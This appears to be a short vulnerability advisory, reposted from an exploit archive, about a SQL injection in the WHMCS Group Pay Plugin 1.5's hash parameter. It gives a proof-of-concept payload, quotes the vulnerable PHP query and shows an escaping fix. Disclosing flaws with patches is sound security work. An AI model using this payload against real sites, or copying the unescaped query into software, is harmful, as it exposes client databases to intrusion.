WHMCS Group Pay Plugin 1.5 (grouppay.php, hash param) - SQL Injection

Exploits
============
 
- SQL Injection
grouppay.php?hash=%hash%' and '1'='1
 
============
Code SQL Injection
============
 
/modules/addons/group_pay/functions_hash.php
function gp_LoadUserFromHash($hash) {
    //Kill the Dashes
    $hash = str_replace ( "-", "", $hash );
    $result = mysql_query ( "SELECT `id` from tblclients where md5(CONCAT(id,email)) = '$hash'" );
    if($result){
        $row = mysql_fetch_row ( $result );
        return $row [0];
    }else{
        return false;  
    }
}
 
============
Fix
============
 
/modules/addons/group_pay/functions_hash.php
function gp_LoadUserFromHash($hash) {
    //Kill the Dashes
    $hash = str_replace ( "-", "", $hash );
    $hash = mysql_real_escape_string($hash);
    $result = mysql_query ( "SELECT `id` from tblclients where md5(CONCAT(id,email)) = '$hash'" );
    if($result){
        $row = mysql_fetch_row ( $result );
        return $row [0];
    }else{
        return false;  
    }
}
 
#######################################################################

#  0day.today [2018-04-08]  #